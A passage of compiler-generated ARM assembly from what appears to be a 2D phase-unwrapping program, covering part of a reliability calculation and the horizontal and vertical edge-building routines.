bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #68
ldmia r3, {r2-r3}
sub r1, fp, #68
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #60
ldmia r3, {r2-r3}
sub r1, fp, #60
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #52
ldmia r3, {r2-r3}
sub r1, fp, #52
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #44
ldmia r3, {r2-r3}
sub r1, fp, #44
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #36
ldmia r3, {r2-r3}
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #28
ldmia r3, {r2-r3}
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #20
ldmia r3, {r2-r3}
sub r1, fp, #20
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
ldr r1, [fp, #-144]
str r2, [r1, #16]
str r3, [r1, #20]
.L156:
ldr r3, [fp, #-144]
add r3, r3, #48
str r3, [fp, #-144]
ldr r3, [fp, #-140]
add r3, r3, #8
str r3, [fp, #-140]
ldr r3, [fp, #-128]
add r3, r3, #1
str r3, [fp, #-128]
.L155:
ldr r3, [fp, #-160]
sub r3, r3, #1
ldr r2, [fp, #-128]
cmp r2, r3
blt .L157
ldr r3, [fp, #-144]
add r3, r3, #96
str r3, [fp, #-144]
ldr r3, [fp, #-140]
add r3, r3, #16
str r3, [fp, #-140]
ldr r3, [fp, #-132]
add r3, r3, #1
str r3, [fp, #-132]
.L154:
ldr r3, [fp, #-164]
sub r3, r3, #1
ldr r2, [fp, #-132]
cmp r2, r3
blt .L158
ldr r2, [fp, #-120]
ldr r3, [fp, #-124]
sub r2, r2, r3
ldr r3, [fp, #-160]
add r3, r2, r3
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-152]
add r3, r2, r3
str r3, [fp, #-140]
ldr r2, [fp, #-120]
ldr r3, [fp, #-124]
sub r2, r2, r3
ldr r3, [fp, #-160]
add r3, r2, r3
add r2, r3, #1
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #4
mov r2, r3
ldr r3, [fp, #-156]
add r3, r3, r2
str r3, [fp, #-144]
mov r3, #1
str r3, [fp, #-132]
b .L159
.L163:
mov r3, #1
str r3, [fp, #-128]
b .L160
.L162:
ldr r3, [fp, #-144]
ldrb r3, [r3, #25] @ zero_extendqisi2
cmp r3, #0
bne .L161
ldr r3, [fp, #-140]
add r3, r3, #8
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
sub r3, r3, #8
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-116]
str r3, [fp, #-112]
ldr r3, [fp, #-160]
lsl r3, r3, #3
rsb r3, r3, #0
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-160]
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-108]
str r3, [fp, #-104]
ldr r3, [fp, #-124]
lsl r3, r3, #3
rsb r3, r3, #0
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-120]
sub r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-100]
str r3, [fp, #-96]
ldr r2, [fp, #-160]
mvn r3, #-536870912
sub r3, r3, r2
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-160]
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-92]
str r3, [fp, #-88]
ldr r3, [fp, #-160]
rsb r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-160]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-84]
str r3, [fp, #-80]
ldr r3, [fp, #-124]
lsl r3, r3, #3
rsb r2, r3, #0
ldr r3, [fp, #-160]
lsl r3, r3, #3
sub r3, r2, r3
sub r3, r3, #8
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-120]
sub r2, r2, r3
ldr r3, [fp, #-160]
add r3, r2, r3
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-76]
str r3, [fp, #-72]
ldr r3, [fp, #-124]
lsl r3, r3, #3
rsb r2, r3, #0
ldr r3, [fp, #-160]
lsl r3, r3, #3
sub r3, r2, r3
add r3, r3, #8
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-120]
sub r2, r2, r3
ldr r3, [fp, #-160]
add r3, r2, r3
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-68]
str r3, [fp, #-64]
ldr r3, [fp, #-124]
lsl r3, r3, #3
rsb r2, r3, #0
ldr r3, [fp, #-160]
lsl r3, r3, #3
sub r3, r2, r3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-120]
sub r2, r2, r3
ldr r3, [fp, #-160]
add r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-60]
str r3, [fp, #-56]
ldr r2, [fp, #-124]
mvn r3, #-536870912
sub r3, r3, r2
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-120]
sub r3, r2, r3
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-52]
str r3, [fp, #-48]
ldr r3, [fp, #-124]
rsb r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-120]
sub r3, r2, r3
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-44]
str r3, [fp, #-40]
ldr r2, [fp, #-160]
ldr r3, [fp, #-124]
sub r3, r2, r3
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-120]
sub r2, r2, r3
ldr r3, [fp, #-160]
sub r3, r2, r3
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-36]
str r3, [fp, #-32]
ldr r2, [fp, #-160]
ldr r3, [fp, #-124]
sub r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-120]
sub r2, r2, r3
ldr r3, [fp, #-160]
sub r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r2, [fp, #-160]
ldr r3, [fp, #-124]
sub r3, r2, r3
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-120]
sub r2, r2, r3
ldr r3, [fp, #-160]
sub r3, r2, r3
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-20]
str r3, [fp, #-16]
sub r3, fp, #116
ldmia r3, {r2-r3}
sub r1, fp, #116
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #108
ldmia r3, {r2-r3}
sub r1, fp, #108
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #100
ldmia r3, {r2-r3}
sub r1, fp, #100
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #92
ldmia r3, {r2-r3}
sub r1, fp, #92
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #84
ldmia r3, {r2-r3}
sub r1, fp, #84
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #76
ldmia r3, {r2-r3}
sub r1, fp, #76
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #68
ldmia r3, {r2-r3}
sub r1, fp, #68
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #60
ldmia r3, {r2-r3}
sub r1, fp, #60
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #52
ldmia r3, {r2-r3}
sub r1, fp, #52
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #44
ldmia r3, {r2-r3}
sub r1, fp, #44
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #36
ldmia r3, {r2-r3}
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #28
ldmia r3, {r2-r3}
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #20
ldmia r3, {r2-r3}
sub r1, fp, #20
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
ldr r1, [fp, #-144]
str r2, [r1, #16]
str r3, [r1, #20]
.L161:
ldr r3, [fp, #-144]
add r3, r3, #48
str r3, [fp, #-144]
ldr r3, [fp, #-140]
add r3, r3, #8
str r3, [fp, #-140]
ldr r3, [fp, #-128]
add r3, r3, #1
str r3, [fp, #-128]
.L160:
ldr r3, [fp, #-160]
sub r3, r3, #1
ldr r2, [fp, #-128]
cmp r2, r3
blt .L162
ldr r3, [fp, #-144]
add r3, r3, #96
str r3, [fp, #-144]
ldr r3, [fp, #-140]
add r3, r3, #16
str r3, [fp, #-140]
ldr r3, [fp, #-132]
add r3, r3, #1
str r3, [fp, #-132]
.L159:
ldr r3, [fp, #-164]
sub r3, r3, #1
ldr r2, [fp, #-132]
cmp r2, r3
blt .L163
.L164:
nop
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.size calculate_reliability, .-calculate_reliability
.align 2
.global horizontalEDGEs
.syntax unified
.arm
.fpu softvfp
.type horizontalEDGEs, %function
horizontalEDGEs:
@ args = 8, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #40
str r0, [fp, #-32]
str r1, [fp, #-36]
str r2, [fp, #-40]
str r3, [fp, #-44]
ldr r3, [fp, #-36]
str r3, [fp, #-16]
ldr r3, [fp, #-32]
str r3, [fp, #-12]
ldr r3, [fp, #8]
ldr r3, [r3, #20]
str r3, [fp, #-8]
mov r3, #0
str r3, [fp, #-28]
b .L166
.L172:
mov r3, #0
str r3, [fp, #-24]
b .L167
.L171:
mov r3, #0
str r3, [fp, #-20]
b .L168
.L170:
ldr r3, [fp, #-12]
ldrb r3, [r3, #24] @ zero_extendqisi2
cmp r3, #0
bne .L169
ldr r3, [fp, #-12]
add r3, r3, #48
ldrb r3, [r3, #24] @ zero_extendqisi2
cmp r3, #0
bne .L169
ldr r3, [fp, #-16]
ldr r2, [fp, #-12]
str r2, [r3, #8]
ldr r3, [fp, #-12]
add r2, r3, #48
ldr r3, [fp, #-16]
str r2, [r3, #12]
ldr r3, [fp, #-12]
add r1, r3, #16
ldmia r1, {r0-r1}
ldr r3, [fp, #-12]
add r3, r3, #48
add r3, r3, #16
ldmia r3, {r2-r3}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
ldr r1, [fp, #-16]
stm r1, {r2-r3}
ldr r3, [fp, #-12]
add r1, r3, #8
ldmia r1, {r0-r1}
ldr r3, [fp, #-12]
add r3, r3, #48
add r3, r3, #8
ldmia r3, {r2-r3}
bl find_wrap
mov r2, r0
ldr r3, [fp, #-16]
str r2, [r3, #16]
ldr r3, [fp, #-16]
add r3, r3, #24
str r3, [fp, #-16]
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L169:
ldr r3, [fp, #-12]
add r3, r3, #48
str r3, [fp, #-12]
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
.L168:
ldr r3, [fp, #-40]
sub r3, r3, #1
ldr r2, [fp, #-20]
cmp r2, r3
blt .L170
ldr r3, [fp, #-12]
add r3, r3, #48
str r3, [fp, #-12]
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
.L167:
ldr r2, [fp, #-24]
ldr r3, [fp, #-44]
cmp r2, r3
blt .L171
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-28]
.L166:
ldr r2, [fp, #-28]
ldr r3, [fp, #4]
cmp r2, r3
blt .L172
ldr r3, [fp, #8]
ldr r3, [r3, #8]
cmp r3, #1
bne .L173
ldr r2, [fp, #-40]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #4
sub r3, r3, #48
ldr r2, [fp, #-32]
add r3, r2, r3
str r3, [fp, #-12]
mov r3, #0
str r3, [fp, #-28]
b .L174
.L178:
mov r3, #0
str r3, [fp, #-24]
b .L175
.L177:
ldr r3, [fp, #-12]
ldrb r3, [r3, #24] @ zero_extendqisi2
cmp r3, #0
bne .L176
ldr r2, [fp, #-40]
mov r3, r2
lsl r2, r2, #2
sub r3, r3, r2
lsl r3, r3, #4
add r3, r3, #48
ldr r2, [fp, #-12]
add r3, r2, r3
ldrb r3, [r3, #24] @ zero_extendqisi2
cmp r3, #0
bne .L176
ldr r3, [fp, #-16]
ldr r2, [fp, #-12]
str r2, [r3, #8]
ldr r2, [fp, #-40]
mov r3, r2
lsl r2, r2, #2
sub r3, r3, r2
lsl r3, r3, #4
add r3, r3, #48
ldr r2, [fp, #-12]
add r2, r2, r3
ldr r3, [fp, #-16]
str r2, [r3, #12]
ldr r3, [fp, #-12]
add r1, r3, #16
ldmia r1, {r0-r1}
ldr r2, [fp, #-40]
mov r3, r2
lsl r2, r2, #2
sub r3, r3, r2
lsl r3, r3, #4
add r3, r3, #48
ldr r2, [fp, #-12]
add r3, r2, r3
add r3, r3, #16
ldmia r3, {r2-r3}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
ldr r1, [fp, #-16]
stm r1, {r2-r3}
ldr r3, [fp, #-12]
add r1, r3, #8
ldmia r1, {r0-r1}
ldr r2, [fp, #-40]
mov r3, r2
lsl r2, r2, #2
sub r3, r3, r2
lsl r3, r3, #4
add r3, r3, #48
ldr r2, [fp, #-12]
add r3, r2, r3
add r3, r3, #8
ldmia r3, {r2-r3}
bl find_wrap
mov r2, r0
ldr r3, [fp, #-16]
str r2, [r3, #16]
ldr r3, [fp, #-16]
add r3, r3, #24
str r3, [fp, #-16]
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L176:
ldr r2, [fp, #-40]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #4
mov r2, r3
ldr r3, [fp, #-12]
add r3, r3, r2
str r3, [fp, #-12]
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
.L175:
ldr r2, [fp, #-24]
ldr r3, [fp, #-44]
cmp r2, r3
blt .L177
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-28]
.L174:
ldr r2, [fp, #-28]
ldr r3, [fp, #4]
cmp r2, r3
blt .L178
.L173:
ldr r3, [fp, #8]
ldr r2, [fp, #-8]
str r2, [r3, #20]
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size horizontalEDGEs, .-horizontalEDGEs
.align 2
.global verticalEDGEs
.syntax unified
.arm
.fpu softvfp
.type verticalEDGEs, %function
verticalEDGEs:
@ args = 8, pretend = 0, frame = 48
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #48
str r0, [fp, #-40]
str r1, [fp, #-44]
str r2, [fp, #-48]
str r3, [fp, #-52]
ldr r3, [fp, #8]
ldr r3, [r3, #20]
str r3, [fp, #-24]
ldr r3, [fp, #-40]
str r3, [fp, #-20]
ldr r2, [fp, #-24]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #3
mov r2, r3
ldr r3, [fp, #-44]
add r3, r3, r2
str r3, [fp, #-16]
ldr r3, [fp, #-48]
ldr r2, [fp, #-52]
mul r3, r2, r3
str r3, [fp, #-12]
ldr r2, [fp, #-12]
ldr r3, [fp, #-48]
sub r3, r2, r3
str r3, [fp, #-8]
mov r3, #0
str r3, [fp, #-36]
b .L180
.L186:
mov r3, #0
str r3, [fp, #-32]
b .L181
.L185:
mov r3, #0
str r3, [fp, #-28]
b .L182
.L184:
ldr r3, [fp, #-20]
ldrb r3, [r3, #24] @ zero_extendqisi2
cmp r3, #0
bne .L183
ldr r2, [fp, #-48]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #4
mov r2, r3
ldr r3, [fp, #-20]
add r3, r3, r2
ldrb r3, [r3, #24] @ zero_extendqisi2
cmp r3, #0
bne .L183
ldr r3, [fp, #-16]
ldr r2, [fp, #-20]
str r2, [r3, #8]
ldr r2, [fp, #-48]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #4
mov r2, r3
ldr r3, [fp, #-20]
add r2, r3, r2
ldr r3, [fp, #-16]
str r2, [r3, #12]
ldr r3, [fp, #-20]
add r1, r3, #16
ldmia r1, {r0-r1}
ldr r2, [fp, #-48]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #4
mov r2, r3
ldr r3, [fp, #-20]
add r3, r3, r2
add r3, r3, #16
ldmia r3, {r2-r3}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
ldr r1, [fp, #-16]
stm r1, {r2-r3}
ldr r3, [fp, #-20]
add r1, r3, #8
ldmia r1, {r0-r1}
ldr r2, [fp, #-48]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #4
mov r2, r3
ldr r3, [fp, #-20]
add r3, r3, r2
add r3, r3, #8
ldmia r3, {r2-r3}
bl find_wrap
mov r2, r0
ldr r3, [fp, #-16]
str r2, [r3, #16]
ldr r3, [fp, #-16]
add r3, r3, #24
str r3, [fp, #-16]
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
.L183:
ldr r3, [fp, #-20]
add r3, r3, #48
str r3, [fp, #-20]
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-28]
.L182:
ldr r2, [fp, #-28]
ldr r3, [fp, #-48]
cmp r2, r3
blt .L184
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
.L181:
ldr r3, [fp, #-52]
sub r3, r3, #1
ldr r2, [fp, #-32]
cmp r2, r3
blt .L185
ldr r2, [fp, #-48]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #4
mov r2, r3
ldr r3, [fp, #-20]
add r3, r3, r2
str r3, [fp, #-20]
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
.L180:
ldr r2, [fp, #-36]
ldr r3, [fp, #4]
cmp r2, r3
blt .L186
ldr r3, [fp, #8]
ldr r3, [r3, #12]
cmp r3, #1
bne .L187
ldr r2, [fp, #-12]
ldr r3, [fp, #-48]
sub r2, r2, r3
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #4
mov r2, r3
ldr r3, [fp, #-40]
add r3, r3, r2
str r3, [fp, #-20]
mov r3, #0
str r3, [fp, #-36]
b .L188
.L192:
mov r3, #0
str r3, [fp, #-32]
b .L189
.L191:
ldr r3, [fp, #-20]
ldrb r3, [r3, #24] @ zero_extendqisi2
cmp r3, #0
bne .L190
ldr r2, [fp, #-8]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #4
rsb r3, r3, #0
ldr r2, [fp, #-20]
add r3, r2, r3
ldrb r3, [r3, #24] @ zero_extendqisi2
cmp r3, #0
bne .L190
ldr r3, [fp, #-16]
ldr r2, [fp, #-20]
str r2, [r3, #8]
